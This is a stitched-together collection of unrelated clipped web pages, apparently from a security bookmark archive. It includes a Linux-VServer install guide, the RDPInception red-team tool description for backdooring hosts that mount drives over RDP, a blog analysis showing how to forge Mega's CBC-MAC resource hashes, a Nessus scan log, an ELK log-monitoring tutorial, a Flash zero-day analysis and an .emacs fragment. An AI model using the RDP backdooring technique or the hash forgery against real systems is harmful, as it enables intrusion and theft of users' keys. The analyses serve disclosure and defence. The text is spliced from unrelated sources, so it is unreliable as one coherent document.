    * CONFIG\_AUFS, CONFIG\_GFS\_FS, CONFIG\_SQUASHFS, CONFIG\_DMRAID45 have been disabled 

## \[edit\] Repository

You can add the following key to your apt keyring:

[code]

    sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com BB9BFB5B
    
[/code]

### \[edit\] Karmic

Add the following line to your sources.list:

[code]

    deb http://ppa.launchpad.net/christoph-lukas/ppa/ubuntu karmic main
    deb-src http://ppa.launchpad.net/christoph-lukas/ppa/ubuntu karmic main
    
[/code]

### \[edit\] Jaunty

Add the following line to your sources.list:

[code]

    deb http://ppa.launchpad.net/christoph-lukas/ppa/ubuntu jaunty main
    deb-src http://ppa.launchpad.net/christoph-lukas/ppa/ubuntu jaunty main
    
[/code]

### \[edit\] Intrepid

Add the following line to your sources.list:

[code]

    deb http://ppa.launchpad.net/christoph-lukas/ppa/ubuntu intrepid main
    deb-src http://ppa.launchpad.net/christoph-lukas/ppa/ubuntu intrepid main
    
[/code]

### \[edit\] Hardy

Add the following line to your sources.list:

[code]

    deb http://ppa.launchpad.net/christoph-lukas/ppa/ubuntu hardy main
    deb-src http://ppa.launchpad.net/christoph-lukas/ppa/ubuntu hardy main
    
[/code]

## \[edit\] Installation

[code]

    aptitude update
    aptitude install linux-image-vserver linux-headers-vserver util-vserver
    
[/code]

## \[edit\] Useful Links

  * https://launchpad.net/~christoph-lukas/+archive/ppa
  * https://help.ubuntu.com/community/VServer
  * http://www2.uni-klu.ac.at/support/VServer
  * http://ubuntu.uni-klu.ac.at/ubuntu.uniklu/dists/dapper/uniklu-vserver/
  * http://www.howtoforge.com/linux\_vserver\_debian
  * http://linux.gyakg.u-szeged.hu/~pasztor/ubuntu-vs/

Retrieved from "http://linux-vserver.org/Installation\_on\_Ubuntu";

# mdsecactivebreach/RDPInception

**Created:**| _6/29/2017 3:43:50 PM_  
---|---  
**Updated:**| _6/29/2017 3:43:50 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Disclaimer

As usual, this code and tool should not be used for malicious purposes.

# WARNING

This code is weaponised but with no damage. Do not execute if you are not
aware of the consequences or what this code does.

# Credits

Authored by Vincent Yiu \(@vysecurity\) of MDSec ActiveBreach

# RDPInception

A bat script that will backdoor the host that is mounting drives whilst RDPing
into an infected machine. This process repeats if a systems administrator is
for example: Laptop -> RDP -> RDP -> RDP -> RDP -> Server.

The intention of this script is to allow security testers and red teamers to
obtain code execution in the management network or a segregated part of the
network where the target machine cannot communicate back out to the privileged
network context.

We have found this attack useful in some of our red team and adversary
simulation engagements.

# Aggressor Script

  1. Load RDPInception
  2. Run rdpinception command
  3. Select HTTP, HTTPS or DNS beacon that can egress.

# Usage

  1. Modify batch file to execute PowerShell stager, EXE or even DLL.
  2. Upload to the target, execute.

_Page 2_

  * © 2017 GitHub, Inc.
  * Terms
  * Privacy
  * Security
  * Status
  * Help

  

# Strong CAPTCHA Guidelines

**Created:**| _12/13/2009 10:39:44 AM_  
---|---  
**Updated:**| _12/13/2009 10:40:09 AM_  
**Author:**| __  
**Tags:**| _web-app-sec papers web_  
  
<img src='img/Temp2_7780' />

# Image:Xmbindings.png - HaskellWiki

**Created:**| _11/25/2009 10:35:10 AM_  
---|---  
**Updated:**| _11/25/2009 10:35:19 AM_  
**Author:**| __  
**Tags:**| _cheat sheets Lab-Setup_  
  
<img src='img/Temp2_4347.png' width='800' height='500' />

# fail0verflow ::

**Created:**| _1/24/2013 9:10:28 AM_  
---|---  
**Updated:**| _1/24/2013 9:10:28 AM_  
**Author:**| __  
**Tags:**| _web-app-sec crypto JavaScript_  
  

# Megafail

By marcan  
Filed under blog

Let’s take a break from Wii U hacking to take a quick look at Mega’s security.

In case you’ve been living under a rock the past few days, Kim Dotcom \(of
Megaupload infamy\) has launched his new cloud storage site, Mega. Mega has an
impressive sales pitch, promising secure cloud storage where only the user has
the key to decrypt his or her files, and the encryption and decryption happens
securely in the browser.

Today we aren’t going to take a look at their encryption or their key
generation, which have already been the subject of several articles. Instead,
we’re going to look at the security of the Mega website itself. As Mega
themselves admit, if you use their web interface \(and not a third-party
client\), the security of the entire ordeal depends on whether you trust them.
After all, anyone with the ability to modify the site could just replace the
JavaScript code with one that sends them \(or anyone else\) your password or
master key. There’s no way around having to trust Mega for this, but you also
have to trust that Mega’s site is delivered securely to you.

The standard solution to this problem is to use a strong form of SSL. However,
Mega chose an interesting approach to SSL. Instead of serving the entire site
from a single secure server or group of servers using strong SSL, they came up
with a clever scheme to allow them to serve most of their site insecurely.
Mega’s main index.html is hosted on a secure server using SSL with 2048-bit
RSA. However, everything else is loaded dynamically from JavaScript code in
index.html, and hash checked. This additional content comes from a CDN that
uses weaker 1024-bit SSL with MD5 authentication. The CDN servers are third-
party servers, and thus potentially easy to compromise for an attacker.
Therefore, you would have to trust the entire CDN network and also trust that
nobody has broken 1024-bit SSL yet \(which is known to be weak by modern
standards\). In order to solve this problem, Mega hashes all of the additional
content, and stores the hashes in index.html. This creates a chain of trust,
or as they put it, “secure boot for websites”. Clever.

There’s nothing inherently wrong with this idea. However, security designs are
only as secure as their implementation. Let’s look at Mega’s “web secure boot”
implementation.

At the time of this writing, their code stores a hash for each file \(a few
hours ago they stored only a combined hash, which was problematic since it was
derived from a concatenation of all inputs, which might allow an attacker to
exploit the system by changing the boundary between files\). Each resource is
fetched using AJAX, hashed, and then loaded. The hashing is performed using
the following function:

[code]

    function h(s)
    {
        var a = [0,0,0,0];
        var aes = new sjcl.cipher.aes([111111,222222,333333,444444]);
        s += Array(16).join('X');
    
        for (var i = s.length & -16; i--; )
        {
            a[(i>>2)&3] ^= s.charCodeAt(i)<<((7-i&3)<<3);
            if (!(i&15)) a = aes.encrypt(a);
        }
        return a;
    }
    
[/code]

\(Indentation corrected for sanity\)

This is a straightforward implementation of CBC-MAC  authentication using the
AES-128  block cipher and a fixed key \(111111,222222,333333,444444, expressed
as four 32-bit integer quarters\), taking the input backwards. At this point,
readers with a modicum of experience with the requirements for a secure hash
function are invited to analyze the construction of the above function and see
if they can spot the issue, while readers less versed in security are invited
to read the Wikipedia article linked above and spot the dire warning.
\(There’s also a typo: the 7 should be a 3. The code overflows the shift bit
count, but the browser seems to take it mod 32 anyway, so it doesn’t break in
practice.\)

In short, CBC-MAC is a Message Authentication Code , not a strong hash
function . While MACs can be built out of hash functions \(e.g. HMAC \), and
hash functions can be built out of block ciphers like AES \(e.g. using the
Davies–Meyer  construction\), not all MACs are also hash functions. CBC-MAC in
particular is completely unsuitable for use as a hash function, because it
only allows two parties with knowledge of a particular secret key to securely
transmit messages between each other. Anyone with knowledge of that key can
forge the messages in a way that keeps the MAC \(“hash value”\) the same. All
you have to do is run the forged message through CBC-MAC as usual, then use
the AES decryption operation on the original hash value to find the last
intermediate state. XORing this state with the CBC-MAC for the forged message
yields a new block of data which, when appended to the forged message, will
cause it to have the original hash value. Because the input is taken
backwards, you can either modify the first block of the file, or just run the
hash function backwards until you reach the block that you want to modify. You
can make a forged file pass the hash check as long as you can modify an
arbitrary aligned 16-byte block in it.

Try it out with this proof of concept web demo \(and feel free to view its
source code, now commented\). First, visit Mega, view the source for
index.html, and download any of the resource files listed there. For example,
you can try this  JavaScript file. At the time of this writing, the hash value
of that file as listed in index.html was as follows:

[code]

    [2142146975,1426300354,-1192167238,529939563]
    
[/code]

Then select it here to compute its hash value \(note: this demo requires a
modern browser that implements the HTML5 File API\):

Hash value:

Now, type your forged content into the following text box and click the button
to download your forged file:

You can then select the forged file in the file picker above again, to verify
that it still has the same hash. If you were hosting one of Mega’s CDN nodes
\(or you were a government official of the CDN hoster’s jurisdiction\), you
could now take over Mega and steal users’ encryption keys. While Mega’s sales
pitch is impressive, and their ideas are interesting, the implementation
suffers from fatal flaws. This casts serious doubts over their entire
operation and the competence of those behind it.

Kim Dotcom pulled a Nintendo Wii. Mega has decent design ideas, but it has
been poorly implemented by people clearly unfamiliar with basic cryptography.
Using CBC-MAC as a hash function is worse than using strncmp to compare binary
SHA-1 values \(which was the hole behind the venerable Wii fakesigning
exploit\). The people who botched the Wii’s hash check also wrote a “secure”
kernel riddled with exploits. Do you trust web developers who can’t tell a MAC
from a strong hash to write a secure cloud storage site? You decide.

**Update** : a few people have asked what the correct approach would’ve been
here. The straightforward choice would’ve been to use SHA1. Even MD5 would’ve
worked, though \(the current attacks against MD5 wouldn’t work against this
scenario, as there is no practical second preimage attack  for MD5\). SHA256
would’ve been the right choice for the more paranoid. If the goal was, as I
suspect, to use the same AES core for everything, then a Davies-Meyer
construction around AES \(which is about the same amount of code as the CBC-
MAC is\) would’ve worked too, although they should also fix the padding \(the
“XXX” thing isn’t secure, as you can append any amount of XXXs up to the end
of the last block of the file. Something like “YX…X” wouldn’t have this
problem, although the right way to do it is to use a proper Merkle-Damgård
construction .\). SHA1 is faster, though, because when using a block cipher as
a hash you have to rerun the key schedule for every block.

I suspect there is also a much subtler bug involving Unicode, because the
files are hashed characterwise \(not bytewise\), but the character code of
Unicode characters can exceed 255. Under these circumstances the XOR will do
the wrong thing and mix together adjacent characters. I suspect that given
some careful work you could create an exploit against the Mega resources that
would work even if the construction was changed to Davies-Meyer, by tweaking
adjacent pairs of characters such that they perform the same XOR transform on
the intermediate hash value after overlapping. The easy fix for this is to
just bail out with a failure if any characters in the files are outside of the
ASCII range, or to run the hash over the UTF-8 encoded data.

  * Previous post 

That's a great work\!\! Unlike some other "articles" that bashed the security
scheme \(that in my opinion is quite clever\) with completely wrong arguments.
FFS, one of them even claimed that "Being able to break the SSL encryption
would render the chain of trust efectively compromised" or something along
those lines.  
  
Thanks for the detailed explanation too\!

Reply

Great way to show how a good idea can become trash with a horrible
implementation.

Reply

I had been concerned that Mega might not get any serious analysis because its
design compromises preclude consideration by those unwilling to trust their
central operation. I for one am disinclined to trust Mega. I feel that their
servers are apt to be seized or hacked, and that Mega would turn over my data
if coerced.  
  
Assuming the emergence of a trustworthy third-party client, it looks to me as
though the security of my encrypted data still reduces to the strength of my
password against cracking, and it does not appear that Mega has observed best
practices in hardening against this sort of attack.

Reply

i heart smart people

Reply

# DNS | Freeware and Tools | IF-MAP | Cloud Computing « ARCHIMEDIUS
**Created:**| _5/14/2009 3:29:17 PM_  
---|---  
**Updated:**| _5/14/2009 3:29:31 PM_  
**Author:**| __  
**Tags:**| _security tools DNS_  
  

**DNS Tools**

If you are looking for DNS tools check out DNS test \(or DNS freeware\) at the
Infoblox web site. You’ll find links t plenty of tools, freeware and
additional resources to help you manage DNS.

**Interop**

If you’re planning to attend Interop feel free to visit the Infoblox booth
1867, in the TNC demo \(booth 869\) or at the Cisco \(1719\) or Riverbed
\(1359\) booths.

The Infoblox booth will feature demos of the new Infoblox IP address
management \(IPAM\) solution as well as the new PortIQ™ appliance network
monitoring solution. The TNC demo will show how IF-MAP enables security for 5
distinct enterprise environments. If you cannot see the demos live check out
the new 2009 TNC Interop brochure. Here is a sneak peek.

**FIRE Conference Panel**

I’ll be speaking on a panel about what can go wrong with cloud computing \(at
1:40 in the Enterprise Cloud Summit\). Feel free to stop and say “hello” if
you’re in the room. On Thursday I’ll be on a Fire Conference panel with
Cisco’s Gourlay, F5’s Giesa, VMware’s Thiele and Infoblox’s Kagan. We’ll be
talking about the evolution of Infrastructure 2.0.

DNSSEC and DNS Security

Infoblox is hosting a live webinar on DNSSEC on June 10 with Scott Rose,
Cricket Liu and Dan Kaminsky.

# How-to: DNS Enumeration

**Created:**| _4/27/2010 6:44:03 AM_  
---|---  
**Updated:**| _4/27/2010 6:44:48 AM_  
**Author:**| __  
**Tags:**| _DNS papers pentest network-security howto_  
  
<img src='img/Temp2_4127' />

# Episode102 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:41:50 PM_  
---|---  
**Updated:**| _8/5/2009 12:42:12 PM_  
**Author:**| __  
**Tags:**| _security tools pauldotcom Memory forensics vulnerability_  
  

# Tech Segment: Wesley McGrew Presents msramdmp

msramdmp: McGrew Security RAM Dumper

# Tech Segment: Nessus Upgrade 3.2.0

Some great new features:

  * Support for IPv6 targets \(for the Linux, FreeBSD, Solaris and Mac OS X flavors\)
  * Support for limiting the number of active TCP sessions in parallel \(per host, per scan, per scanner\)
  * A new nessuscmd tool that lets one run quick scans from the command-line
  * A new nessus-update tool that lets one update the Nessus engine from the command-line \(on select platforms\)
  * The Nessus daemon can now detect hosts which are being turned off during the scan and stop scanning them
  * The Nessus daemon can now detect when the network is congested and change the TCP settings appropriately
  * Nessus user account access control rules are now more granular and can be used to prevent the scanner from connecting to certain ports or to use certain plugins
  * The nessus command-line tool can read and write to and from a .nessus file
  * Improved WMI support \(see http://cgi.tenablesecurity.com/tenable/WMI.html\)

I could not find the nessuscmd tool on OS X, but I Linux I had some fun:

[code]

    root@pwnsg:/opt/nessus/bin# ./nessuscmd -V -i 10884 ownme.example.com
    Starting nessuscmd 3.2.0
    Scanning 'ownme.example.com'...
    
    + Host ownme.example.com is up
    
    root@pwnsg:/opt/nessus/bin# ./nessuscmd -O -p1-1024 -U -V -i 10884 ownme.example.com
    Starting nessuscmd 3.2.0
    Scanning 'ownme.example.com'...
    
    + Results found on ownme.example.com :
       - Host information : 
         [i] Plugin ID 11936
          | Remote operating system : Linux Kernel 2.6 on Debian 4.0 (etch)
          | Confidence Level : 95
          | Method : SSH
          | 
          | 
          |  
          | The remote host is running Linux Kernel 2.6 on Debian 4.0 (etch)
    
       - Port ssh (22/tcp) is open
       - Port http (80/tcp) is open
       - Port sunrpc (111/tcp) is open
       - Port https (443/tcp) is open
       - Port ideafarm-chat (902/tcp) is open
    
    root@pwnsg:/opt/nessus/bin# ./nessuscmd -O -p1-1024 -U -V -i 11154,22964 ownme.example.com
    Starting nessuscmd 3.2.0
    Scanning 'ownme.example.com'...
    
    + Results found on ownme.example.com :
       - Host information : 
         [i] Plugin ID 11936
          | Remote operating system : Linux Kernel 2.6 on Debian 4.0 (etch)
          | Confidence Level : 95
          | Method : SSH
          | 
          | 
          |  
          | The remote host is running Linux Kernel 2.6 on Debian 4.0 (etch)
    
       - Port ssh (22/tcp) is open
         [i] Plugin ID 22964
          | An SSH server is running on this port.
    
       - Port http (80/tcp) is open
         [i] Plugin ID 22964
          | A web server is running on this port.
    
       - Port sunrpc (111/tcp) is open
       - Port https (443/tcp) is open
         [i] Plugin ID 22964
          | A web server is running on this port through SSLv2.
    
         [i] Plugin ID 22964
          | An SSLv2 server answered on this port.
          | 
       - Port ideafarm-chat (902/tcp) is open
         [i] Plugin ID 22964
          | A VMware authentication daemon is running on this port.
    
    
[/code]

  

# Incorporating Cloud Security Logs into Open-Source Cloud Monitoring
Solutions - InfoSec Resources

**Created:**| _8/31/2015 10:22:23 AM_  
---|---  
**Updated:**| _8/31/2015 10:22:23 AM_  
**Author:**| __  
**Tags:**| _cloud computing log-management_  
  

# Introduction

In the previous article, we gave an overview about setting up the environment
for open-source monitoring of logs across a wide range of devices. In this
article we’ll take up from there, use the environment that has already been
provided, and incorporate logs from various systems to be sent to ELK stack.
To summarize quickly what we have done: we’ve used Elasticsearch, Logstash and
Kibana to setup an environment capable of storing, analyzing and presenting
gathered logs from different systems.

For those of you who already know what an ELK stack is and want to skip ahead
right into the current article without bothering to read the previous one, you
can get the environment by using Docker as follows. Note that the “-v
/etc/localtime:/etc/localtime:ro -e ‘TZ=Europe/Ljubljana'” option is necessary
to use the host time in docker container in order to keep the time
synchronized – otherwise the events coming from the outside will have
incorrect time, which doesn’t help us when trying to gather information about
a breach.

[code]

    # docker run -it -d -p 5000:5000 -p 5514:5514 -p 5514:5514/udp -p 5601:5601 -p 9200:9200 -v /etc/localtime:/etc/localtime:ro -e "TZ=Europe/Ljubljana" proteansec/elk
[/code]

The image uses the supervisord daemon to start all needed services, so nothing
more needs to be done in order to start processing logs. After that we can
connect to the http://docker:5601/ IP:PORT and observe the Kibana interface
asking us to configure the index pattern. At this point, we should basically
press the Create button to create an index pattern used by Elasticsearch for
searching and analysis.

<img src='img/Temp2_4404.png' />

# Sending Cloud Security Logs to Logstash

In order to start gathering logs on one central location, we have to configure
every cloud system to send the logs to the central ELK docker container we’ve
previously set-up. We need to send the logs to the logstash component of the
ELK stack, which is already configured to listen on ports 5514 \(syslog\) and
port 5000 \(tcp\) as can be seen in the /opt/logstash/conf.d/10-syslog.conf
configuration file. If we nmap port 5000 or 5514 from a remote system, which
is part of the same LAN, the ports should be open and ready to receive any
syslog messages.

[code]

    input {
      syslog {
        port =&gt; 5514
        type =&gt; "syslog"
      }
      tcp {
        port =&gt; 5000
        type =&gt; "syslog"
      }
    }
    
[/code]

In order to send logs to syslog logstash receiver on port 5514, we have to
setup **rsyslog** and configure it appropriately to send all the logs to
logstash. In order to do that, we have to install the rsyslog package via the
default package manager.

[code]

    # apt-get install -y rsyslog
    
[/code]

Then we need to add a configuration file to the rsyslog configuration
directory /etc/rsyslog.d/. We can create a file
/etc/rsyslog.d/10-logstash.conf and add the following, which will send all the
logs to **docker** host on port **5514** \(replace the host ‘docker’ with the
domain name of the server running the ELK docker instance\). The configuration
below basically states to send messages from every subsystem and every
priority to the docker host on TCP port 5514 \(note the double @; a single @
denotes UDP protocol is used\).

[code]

    *.* @@docker:5514
    
[/code]

We can automate the above with fabric Python library, which enables running
commands on remote systems by sending the commands over SSH in order to
automate deployment and administration tasks. In order to do that, we have to
create a simple fabfile.py containing all the necessary instructions to
install and deploy the rsyslog script. Then we need to run the **fab** command
in the same directory, which will automatically detect the presence of
fabfile.py and will allow us to execute commands from the file.

A simple fabfile.py can be seen below, which contains the run\_command
function that differentiates between the normal and sudo commands, and runs
them appropriately. Then there’s also the **rsyslog** function, which runs the
necessary commands to install rsyslog and write the corresponding
configuration file; note that the function accepts the host:port parameters,
which define the server that listens for incoming connections.

Because we’ve set the **env.use\_ssh\_config** to true**,** the script will
automatically pull the settings from the /home/user/.ssh/config configuration
file, so we don’t need to specify the username/password settings for the
connection to succeed. The **env.hosts** specifies the hosts where the
commands will be executed, but the connection to the server should succeed
without prompting for credentials by simply SSH-ing to the server in question.

|  `from` `fabric.api ` `import` `*` `from` `fabric.contrib ` `import` `*`
`from` `fabric.colors ` `import` `green, red` `import` `os` `env.hosts ` `=`
`["docker"]` `env.use_ssh_config ` `=` `True` `env.parallel ` `=` `True` `def`
`run_command(command):` `"""` `Function that runs certain commands with sudo
privileges.` `"""` `try` `:` `if` `command.strip()[` `0` `:` `5` `] ` `=` `=`
`"sudo":` `results ` `=` `sudo(command)` `else` `:` `results ` `=`
`run(command)` `except` `:` `results ` `=` `'Error'` `return` `results` `def`
`rsyslog(server` `=` `'docker'` `, port` `=` `5514` `):` `"""` `Install
packages on the destination server.` `"""` `run_command("sudo apt` `-` `get
install ` `-` `y rsyslog")` `run_command("sudo echo ` `'*.*
@@"+server+":"+port+"'` `&amp;amp;amp;amp;amp;amp;gt; ` `/` `etc` `/`
`rsyslog.d` `/` `10` `-` `logstash.conf")` `run_command("sudo service rsyslog
restart")`  
---|---  
You might think the script is not required and that it only complicates
things, but it really depends on the number of servers you have to administer.
If you have only one server, then you could also install the packages and edit
the configuration files manually, but otherwise it’s advisable to use fabric
to automate repetitive tasks. We can run the following command to send logs to
docker server on port 5514, but we can change the host:port depending to our
wishes right from the command-line without changing the fabfile.

[code]

    # fab rsyslog:server=docker,port=5514
    
[/code]

The provided fabfile can be run on any Linux distribution supporting deb
packages like Ubuntu, Debian, etc. When different Linux distributions are
used, we might want to change the package manager apt-get that was used above.

To setup remote logging on Pfsense, we have to go to the Status – System Logs
– Settings, where we can edit the remote logging options as presented below.
Note that we’ve enabled the option “Send log messages to remote syslog server”
and inputted the remote logging server into the “Server 1″ field.

<img src='img/Temp2_4399.png' />

Now we’ve configured all the servers to send system logs to ELK stack, which
is listening on TCP port 5514. Now we only have to wait for the systems to
send logs to the ELK stack where they are centrally gathered.

# Persisting the Data

When playing with Docker images, we’ll soon figure out that data inside Docker
containers does not persist, but is available only throughout the life of a
Docker container. Note that docker container can be stopped and started by
using “**docker stop/start**  
**container** ” commands, but when using the **run** command, a new docker
container will be created from an image without the previously gathered data.
It’s usual to interact with a docker container df5b21f2071c with the following
commands.

[code]

    # docker stop df5b21f2071c
    # docker start df5b21f2071c
    
[/code]

A better way to persist the data is through a data container, which is a
separate docker container containing only the data for another container.
Keeping data in a data container isn’t the point of this article, so if you’re
interested, you’ll have to check out the docker documentation.

# Detecting Important Events

Now that we’ve setup every system to send log information to an ELK docker
container, we have to analyze the gathered data in order to detect anomalies
on the systems to detect intrusions. The important thing to realize is that
when checking for system anomalies, we don’t have a set of rules, which can be
imported into the system in order to check for all kinds of anomalies. There
are multiple events being triggered at various actions generated either by the
system itself or by an attacker gaining access to the system. In any case, we
should not discard any of the messages, but should investigate all the
generated messages. At this point, it’s wise to assume that system security is
an ever-evolving process, which must be handled appropriately.

One of the events that should be handled is VPN login events generated when a
user authenticates to the VPN server. More specifically, we should track the
IP addresses of users in order to determine whether a VPN connection was
established from an IP halfway around the world. If an employee is usually
connecting from his home IP address present in the same country, an
authentication from a far-away IP address is suspicious, and should be
investigated. If an employee has left the company for a conference or a
holiday at the time of event generation, then VPN authentication is valid, but
in every other case, it should be regarded as highly suspicious.

The OpenVPN server generates the following events at each successful user
authentication – note that the sensitive information like a username and IP
address has been anonymized.

[code]

    <29>Aug 21 15:01:32     openvpn[9739]: 1.2.3.4:39236 [name.surname] Peer Connection Initiated with [AF_INET]1.2.3.4:39236
    
[/code]

The logs are already being pushed to the ELK stack, more specifically the
logstash listener, which handles them, so we only need to write the
appropriate logstash rules to parse the IP address and username out of the
logs. We can use the grokdebug helper service to write the appropriate rule to
parse the username and IP address from the log message.

The first rule is shown below, which basically reads the event priority ID
\(the number at the start of the line enclosed with <>, the date and the
program that generated the event.

[code]

    match => [ "message", "<(?<evtid>.*)>(?<datetime>(?:Jan(?:uary)?|Feb(?:ruary)?|Mar(?:ch)?|Apr(?:il)?|May|Jun(?:e)?|Jul(?:y)?|Aug(?:ust)?|Sep(?:tember)?|Oct(?:ober)?|Nov(?:ember)?|Dec(?:ember)?)\s+(?:(?:0[1-9])|(?:[12][0-9])|(?:3[01])|[1-9]) (?:2[0123]|[01]?[0-9]):(?:[0-5][0-9]):(?:[0-5][0-9])) (?<prog>.*?): (?<msg>.*)" ]
[/code]

When the rule parses the above logs, it will parse the fields evtid, datetime,
prog and msg as presented below. Did you notice that the remainder of the
message was stored in the field **msg** and hasn’t yet been parsed? This is
because every program can generate a message with a different format, so we
need to write multiple rules for every program.

<img src='img/Temp2_4400.png' />

Now that half of the log message has been processed, we have to write another
rule to process the result of the message stored in **msg** to get the IP
address and username. We can write a rule like below, which will

[code]

    match => [ "message", "%{IP:vpnhost}:%{POSINT:vpnport} \[%{USER:vpnuser}\] Peer Connection Initiated with \[AF_INET\](?<hostport>.*)" ]
[/code]

The result can be seen below, where the username is stored in **vpnuser** and
the host in **vpnhost**. Back in Kibana interface, we can now see the
following message, which has been appropriately parsed.

<img src='img/Temp2_4403.png' />

Back in the Kibana interface, we can now see the following message, which has
been appropriately parsed as it contains the fields: **vpnhost** \(the IP
address of the remote user\), **vpnport** \(the PORT of the remote user\) and
**vpnuser** \(the id of the authenticated user\).

<img src='img/Temp2_4401.png' />

Ethical Hacking Training – Resources \(InfoSec\)  
Now, we’ve done all the heavy lifting and we can start experimenting with the
Kibana interface to create beautiful graphs outlining the parsed messages. In
order to get a nice-looking graph with geographical information about the IP
addresses, we can use **geoip** , which can be used to get physical location
from an IP address to determine where OpenVPN clients are logging. When using
a **geoip** database, there are a number of additional options stored to
elasticsearch documents, the most important of them being the **latitude** and
**longitude**.

At first, we have to download the GeoIP database by going into docker
container by using **docker exec** and downloading the GeoLiteCity.dat
database.

[code]

    # cd /opt/logstash/
     # curl -O "http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz"
     # gunzip GeoLiteCity.dat.gz
[/code]

Afterwards, we have to add a **geoip** block into the logstash filter by
specifying the **database** to point to the newly downloaded GeoLiteCity.dat
database as well as **source** to specify the field containing the IP address.
More specifically, we should add the following to the filter block where the
OpenVPN messages are being parsed.

[code]

    filter {
         geoip {
           source => "vpnhost"
           target => "geoip"
           database => "/opt/logstash/GeoLiteCity.dat"
         }
     }
     
    
[/code]

After restarting the logstash and obtainting a new OpenVPN log message, the
message will also contain the following fields all starting with **geoip** ,
which contain the information about the geographical location of the IP from
where the user is connecting.

<img src='img/Temp2_4402.png' />

Then we can easily add a new map to Kibana web interface, which will show the
IP from where the OpenVPN user connected. On the picture below, we can see the
connection came from Slovenia, which is my home country.

<img src='img/Temp2_4398.png' />

# Conclusion

Every system generates a number of logs at any given time in order to
communicate that certain action was executed or certain problem needs to be
addressed. It’s often the case that system administrators don’t pay any
information to the system logs, so a system problem can go unnoticed for weeks
or even months.

System logs are often used for security purposes as well, which is why sending
logs to a central server is equally important to analyzing them to determine
problems. The central location for storing all the logs is important, because
an attacker having compromised a server can also tamper with the logs present
on the server. By keeping the logs on a separate central server, the logs are
easier to manage and especially analyze and the attacker doesn’t have access
to the log server, so the logs are secure, valid and can be used as a forensic
evidence when a breach occurs.

In the old days, applications and daemons used to write .log files to the
system to inform system administrators about a problem. There are a large
number of log files all with its own custom log format, so managing them was
hard and inefficient. This is why syslog was invented, which most of the
applications and daemons use nowadays.

In the article, we’ve seen the advantages of keeping logs in a central place
as well as looked at an actual example of parsing the log messages generated
upon a successful OpenVPN connection, storing the IP address of a remote user
and visualize it on a graph. Having done so, we can easily check whether a VPN
connection came from a different country from where a user is located in which
case we must investigate whether an actual existing user has connected to the
VPN server.

  * Share

# Systematic Approaches for Increasing Soundness and Precision of Static
Analyzers

**Created:**| _5/14/2017 12:03:27 PM_  
---|---  
**Updated:**| _5/14/2017 12:03:46 PM_  
**Author:**| __  
**Tags:**| _analysis static_  
  

  
<img src='img/paper.pdf' />  

# Fuzz My Life: Flash Player zero-day vulnerability \(CVE-2010-3654\) | Fortinet Security Blog
**Created:**| _10/30/2010 5:13:54 PM_  
---|---  
**Updated:**| _10/30/2010 5:15:01 PM_  
**Author:**| __  
**Tags:**| _Flash Exploit Fuzzer vulnerability_  
  

# Fuzz My Life: Flash Player zero-day vulnerability \(CVE-2010-3654\)

by **Haifei Li**  
October 29, 2010 at 10:38 am

As indicated in our FortiGuard Advisory FGA-2010-53, an attack exploiting a
critical zero-day vulnerability in Adobe Flash Player was found very recently
roaming in the wild. Although the attack vector in the wild is a PDF file, it
is a Flash Player vulnerability indeed \(Adobe Reader embeds a Flash Player\).

After analyzing the PDF sample, we do confirm that the core ActionScript in
the embeded flash file, which triggers the exploit, is**almost** exactly the
same as that of an example on flashamdmath.com, as Bugix Security guessed.

Almost? Indeed: the only difference lies in a single byte \(at 0×494A, for
those who’d like to make a signature based on that ;\)\), changed from 0×16 in
the example to 0×07 in the exploit code:

<img src='img/Temp2_3335.png' width='675' height='187' alt='pic1' />

What does this correspond to? Simply to an ActionScript Class id sitting in
the “MultiName” part of the file \(According toAdobe’s ActionScript Virtual
Machine 2 Overview\):

<img src='img/Temp2_3337.png' alt='pic2' />

So, the original ** _fl.controls::RadioButtonGroup_** class in the example
becomes a ** _fl.controls::Button_** class in the sample. Thus, at runtime,
all references that are supposed to point to **
_fl.controls::RadioButtonGroup_** actually refer to** _fl.controls::Button_**
… which, somewhere below, triggers the vulnerability:

<img src='img/Temp2_3336.png' width='675' height='346' alt='pic3' />

Based on this, it is not extremely challenging to guess how the attacker
discovered this 0day vulnerability: Simply by running a “dummy” fuzzer on
basic flash files, as many bug hunters are doing. We had already noticed the
same thing likely happened for CVE-2010-1297 and CVE-2010-2884.

**Guillaume Lovet contributed to this post.**

# Volatility: Advanced Memory Forensics

**Created:**| _12/1/2010 6:50:56 PM_  
---|---  
**Updated:**| _12/1/2010 6:51:11 PM_  
**Author:**| __  
**Tags:**| _Memory forensics Tutorials awesome_  
  

### Volatile Link: Volatility Documentation

Let me begin by thanking everyone for their offers to assist with the upcoming
1.4 release, it’s great to see the growing excitement from the Volatility
Community. On a related note, I recently received a pointer to a blog that has
been discussing Volatility usage:

  * Volatility Memory Forensics I - Installation
  * Volatility Memory Forensics II–Using Volatility
  * Volatility Mem Forensics III–Using Volatility con’t
  * Volatility Mem Forensics IV–Putting it all together

Shoutz to lg for taking the time to document his experiences with Volatility
and to CW for sending us the link\!

# nopaste.com \(beta\)new paste — shell scripts

**Created:**| _10/26/2009 9:57:16 PM_  
---|---  
**Updated:**| _10/26/2009 9:57:29 PM_  
**Author:**| __  
**Tags:**| _setup Emacs_  
  

# nopaste.com \(beta\)

new paste — shell scripts

* * *
pasted by someone at 2009-10-26 20:22:17 UTC  
URL: http://nopaste.com/p/azIvUu0EX

C/C++HTMLPascal / DelphiPlain \(default\)RHTMLRubyXML — repaste — plain text—

* * *
[code]

    ;; .emacs
    
    (when (featurep 'xemacs)
      (error "This .emacs file does not work with XEmacs."))
    
    (when (file-directory-p "~/.emacs.d")
      (add-to-list 'load-path "~/.emacs.d"))
    
    (when (file-directory-p "~/.emacs.d/emms")
      (add-to-list 'load-path "~/.emacs.d/emms"))
    (when (file-directory-p "~/.emacs.d/mew")
      (add-to-list 'load-path "~/.emacs.d/mew"))
    (when (file-directory-p "~/.emacs.d/howm")
      (add-to-list 'load-path "~/.emacs.d/howm"))
    (when (file-directory-p "~/.emacs.d/epg/")
      (add-to-list 'load-path "~/.emacs.d/epg/"))
    (when (file-directory-p "~/.emacs.d/nxml/")
      (add-to-list 'load-path "~/.emacs.d/nxml/"))
    (when (file-directory-p "~/.emacs.d/haskell-mode/")
      (add-to-list 'load-path "~/.emacs.d/haskell-mode/"))
    (when (file-directory-p "~/.emacs.d/emacs-rails/")
      (add-to-list 'load-path "~/.emacs.d/emacs-rails/"))
